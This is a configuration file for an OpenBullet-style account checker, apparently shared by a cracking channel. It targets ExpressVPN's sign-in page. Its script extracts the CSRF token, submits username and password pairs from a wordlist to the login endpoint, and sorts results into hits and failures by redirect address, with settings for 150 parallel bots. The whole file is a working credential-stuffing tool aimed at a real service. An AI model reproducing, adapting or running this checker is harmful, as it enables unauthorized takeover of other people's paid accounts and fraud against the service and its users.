[SETTINGS]
{
  "Name": "Express vpn",
  "SuggestedBots": 150,
  "MaxCPM": 0,
  "LastModified": "2020-09-02T22:50:17.6627375+04:30",
  "AdditionalInfo": "",
  "Author": "https://t.me/Techno_Crack",
  "Version": "1.4.4 [Anomaly]",
  "IgnoreResponseErrors": false,
  "MaxRedirects": 8,
  "NeedsProxies": false,
  "OnlySocks": false,
  "OnlySsl": false,
  "MaxProxyUses": 0,
  "BanProxyAfterGoodStatus": false,
  "EncodeData": false,
  "AllowedWordlist1": "",
  "AllowedWordlist2": "",
  "DataRules": [],
  "CustomInputs": [],
  "CaptchaUrl": "",
  "Base64": "",
  "Grayscale": false,
  "RemoveLines": false,
  "RemoveNoise": false,
  "Dilate": false,
  "Threshold": 1.0,
  "DiffKeep": 0.0,
  "DiffHide": 0.0,
  "Saturate": false,
  "Saturation": 0.0,
  "Transparent": false,
  "Contour": false,
  "OnlyShow": false,
  "ContrastGamma": false,
  "Contrast": 1.0,
  "Gamma": 1.0,
  "Brightness": 1.0,
  "RemoveLinesMin": 0,
  "RemoveLinesMax": 0,
  "Crop": false,
  "ForceHeadless": false,
  "AlwaysOpen": false,
  "AlwaysQuit": false,
  "DisableNotifications": false,
  "CustomUserAgent": "",
  "RandomUA": false,
  "CustomCMDArgs": ""
}

[SCRIPT]
REQUEST GET "https://www.expressvpn.com/sign-in" 
  
  HEADER "Host: www.expressvpn.com" 
  HEADER "Connection: keep-alive" 
  HEADER "Upgrade-Insecure-Requests: 1" 
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36" 
  HEADER "Sec-Fetch-User: ?1" 
  HEADER "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3" 
  HEADER "Sec-Fetch-Site: same-origin" 
  HEADER "Sec-Fetch-Mode: navigate" 
  HEADER "Referer: https://www.expressvpn.com/" 
  HEADER "Accept-Language: en,pt;q=0.9,hi;q=0.8" 
  HEADER "Accept-Encoding: gzip, deflate" 

PARSE "<SOURCE>" LR "<input type=\"hidden\" name=\"authenticity_token\" value=\"" "\" />" -> VAR "tkn" 

FUNCTION URLEncode "<tkn>" -> VAR "tknen" 

FUNCTION URLEncode "<PASS>" -> VAR "pass" 

FUNCTION URLEncode "<USER>" -> VAR "user" 

REQUEST POST "https://www.expressvpn.com/sessions" 
  CONTENT "utf8=%E2%9C%93&authenticity_token=<tknen>&email=<user>&password=<pass>" 
  CONTENTTYPE "application/x-www-form-urlencoded" 
  HEADER "Host: www.expressvpn.com" 
  HEADER "Connection: keep-alive" 
  HEADER "Cache-Control: max-age=0" 
  HEADER "Origin: https://www.expressvpn.com" 
  HEADER "Upgrade-Insecure-Requests: 1" 
  HEADER "Content-Type: application/x-www-form-urlencoded" 
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36" 
  HEADER "Sec-Fetch-User: ?1" 
  HEADER "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3" 
  HEADER "Sec-Fetch-Site: same-origin" 
  HEADER "Sec-Fetch-Mode: navigate" 
  HEADER "Referer: https://www.expressvpn.com/sign-in" 
  HEADER "Accept-Encoding: gzip, deflate" 

KEYCHECK 
  KEYCHAIN Failure OR 
    KEY "<ADDRESS>" Contains "https://www.expressvpn.com/sign-in" 
  KEYCHAIN Success OR 
    KEY "<ADDRESS>" Contains "https://www.expressvpn.com/verify" 
    KEY "<subscription>"